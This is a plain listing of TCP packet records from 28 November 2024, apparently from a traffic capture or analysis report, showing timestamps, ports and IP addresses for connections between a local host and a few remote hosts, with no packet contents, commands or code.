Nov 28, 2024 00:19:47.975883007 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.975929022 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.976619959 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.976672888 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.976696014 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.976749897 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.977443933 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.977505922 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.977550983 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.977587938 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.978245020 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.978286982 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.978311062 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.978348017 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.979080915 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.979121923 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.979129076 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.979161978 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.979911089 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.979954958 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.979996920 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.980737925 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.980775118 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.980817080 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.980848074 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.981559038 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.981606960 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.981628895 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.981648922 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.982410908 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.982531071 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.982651949 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.982692003 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.983220100 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.983272076 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.983319044 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.983360052 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.984045029 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.984112024 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.984155893 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.984198093 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.984956980 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.984971046 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.985011101 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.985754967 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.985799074 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.985841990 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.985924959 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.986524105 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.986584902 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.986641884 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.986680984 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.987467051 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.987550020 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.987584114 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.987716913 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.988168955 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.988209009 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.988241911 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.988282919 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.989022017 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.989109039 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.989131927 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.989187002 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.989814997 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.989859104 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.989911079 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.990209103 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.990655899 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.990700960 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.990828991 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.990869045 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.991498947 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.991548061 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.991626978 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.991709948 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.992299080 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.992389917 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.992404938 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.992436886 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.993115902 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.993155956 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.993180990 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.993225098 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.993921995 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.993963003 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.994026899 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.994060993 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.994754076 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.994787931 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:47.994829893 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:47.994869947 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.051052094 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.051147938 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.051173925 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.051208973 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.051409006 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.051460981 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.051600933 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.051647902 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.052061081 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.052134991 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.052269936 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.052315950 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.052887917 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.052937031 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.052994013 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.053035021 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.053733110 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.053865910 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.053893089 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.053901911 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.054596901 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.054645061 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.054687977 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.054748058 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.055372953 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.055500031 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.055502892 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.055545092 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.056201935 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.056246996 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.056338072 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.056385040 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.057094097 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.057143927 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.057180882 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.057271957 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.057826042 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.057872057 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.057933092 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.058063030 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.058681011 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.058732986 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.058883905 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.058933973 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.059509039 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.059561014 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.059624910 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.059690952 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.060305119 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.060353994 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.060411930 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.060461998 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.060933113 CET	443	49857	13.107.246.40	192.168.2.6
Nov 28, 2024 00:19:48.061131001 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.061135054 CET	49857	443	192.168.2.6	13.107.246.40
Nov 28, 2024 00:19:48.061152935 CET	443	49857	13.107.246.40	192.168.2.6
Nov 28, 2024 00:19:48.061197996 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.061238050 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.061284065 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.062012911 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.062078953 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.062221050 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.062230110 CET	443	49857	13.107.246.40	192.168.2.6
Nov 28, 2024 00:19:48.062261105 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.062288046 CET	49857	443	192.168.2.6	13.107.246.40
Nov 28, 2024 00:19:48.062812090 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.062865019 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.062906981 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.062944889 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.063606977 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.063643932 CET	49857	443	192.168.2.6	13.107.246.40
Nov 28, 2024 00:19:48.063668966 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.063709974 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.063718081 CET	443	49857	13.107.246.40	192.168.2.6
Nov 28, 2024 00:19:48.063761950 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.063810110 CET	49857	443	192.168.2.6	13.107.246.40
Nov 28, 2024 00:19:48.063817978 CET	443	49857	13.107.246.40	192.168.2.6
Nov 28, 2024 00:19:48.064436913 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.064496040 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.064640999 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.064697027 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.065263033 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.065329075 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.065367937 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.065448999 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.066123962 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.066169977 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.066277981 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.066322088 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.066924095 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.066977024 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.067014933 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.067056894 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.067749023 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.067800045 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.067841053 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.067892075 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.068578005 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.068658113 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.068689108 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.068747044 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.069381952 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.069432020 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.069529057 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.069636106 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.070223093 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.070267916 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.070314884 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.070362091 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.071038961 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.071156025 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.071201086 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.071883917 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.071943998 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.072016001 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.072058916 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.088092089 CET	443	49871	13.107.246.40	192.168.2.6
Nov 28, 2024 00:19:48.088116884 CET	443	49871	13.107.246.40	192.168.2.6
Nov 28, 2024 00:19:48.088228941 CET	49871	443	192.168.2.6	13.107.246.40
Nov 28, 2024 00:19:48.088254929 CET	443	49871	13.107.246.40	192.168.2.6
Nov 28, 2024 00:19:48.088417053 CET	443	49871	13.107.246.40	192.168.2.6
Nov 28, 2024 00:19:48.088489056 CET	49871	443	192.168.2.6	13.107.246.40
Nov 28, 2024 00:19:48.090234041 CET	49871	443	192.168.2.6	13.107.246.40
Nov 28, 2024 00:19:48.090250015 CET	443	49871	13.107.246.40	192.168.2.6
Nov 28, 2024 00:19:48.109905005 CET	49857	443	192.168.2.6	13.107.246.40
Nov 28, 2024 00:19:48.184458971 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.184536934 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.184559107 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.184595108 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.184889078 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.184947014 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.184966087 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.185002089 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.185748100 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.185806990 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.185811996 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.185847044 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.186556101 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.186651945 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.186678886 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.186691999 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.187371016 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.187424898 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.187462091 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.187499046 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.188229084 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.188308954 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.188313961 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.188385010 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.189042091 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.189089060 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.189137936 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.189182997 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.189851999 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.189905882 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.189956903 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.190073967 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.190673113 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.190742970 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.190794945 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.191540003 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.191581964 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.191652060 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.191716909 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.192352057 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.192399979 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.192414045 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.192456007 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.193140984 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.193203926 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.193226099 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.193272114 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.193986893 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.194020033 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.194036961 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.194056988 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.194823980 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.194876909 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.195048094 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.195095062 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.195636034 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.195679903 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.195722103 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.196240902 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.196477890 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.196579933 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.196615934 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.196661949 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.197313070 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.197359085 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.197478056 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.197525978 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.198163033 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.198175907 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.198215961 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.198229074 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.198952913 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.199002028 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.199016094 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.199053049 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.199784040 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.199827909 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.199909925 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.199992895 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.200596094 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.200642109 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.201220036 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.201286077 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.201452017 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.201505899 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.201575994 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.201653004 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.202258110 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.202302933 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.202424049 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.202548981 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.203141928 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.203182936 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.203242064 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.203282118 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.203919888 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.203980923 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.204021931 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.204062939 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.204703093 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.204780102 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.204788923 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.204843998 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.205609083 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.205670118 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.205710888 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:48.205768108 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:48.233143091 CET	443	49872	13.107.246.40	192.168.2.6
Nov 28, 2024 00:19:48.233167887 CET	443	49872	13.107.246.40	192.168.2.6
Nov 28, 2024 00:19:48.233221054 CET	49872	443	192.168.2.6	13.107.246.40
Nov 28, 2024 00:19:48.233247042 CET	443	49872	13.107.246.40	192.168.2.6
Nov 28, 2024 00:19:48.234349966 CET	443	49872	13.107.246.40	192.168.2.6
Nov 28, 2024 00:19:48.234405041 CET	49872	443	192.168.2.6	13.107.246.40
Nov 28, 2024 00:19:48.234414101 CET	443	49872	13.107.246.40	192.168.2.6
Nov 28, 2024 00:19:48.234513044 CET	49872	443	192.168.2.6	13.107.246.40
Nov 28, 2024 00:19:48.234592915 CET	49872	443	192.168.2.6	13.107.246.40
Nov 28, 2024 00:19:48.245629072 CET	49884	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:48.245656967 CET	443	49884	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:48.245718956 CET	49884	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:48.245832920 CET	49885	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:48.245867014 CET	443	49885	23.59.251.218	192.168.2.6
Nov 28, 2024 00:19:48.245915890 CET	49885	443	192.168.2.6	23.59.251.218
Nov 28, 2024 00:19:48.246108055 CET	49886	443	192.168.2.6	23.59.251.218
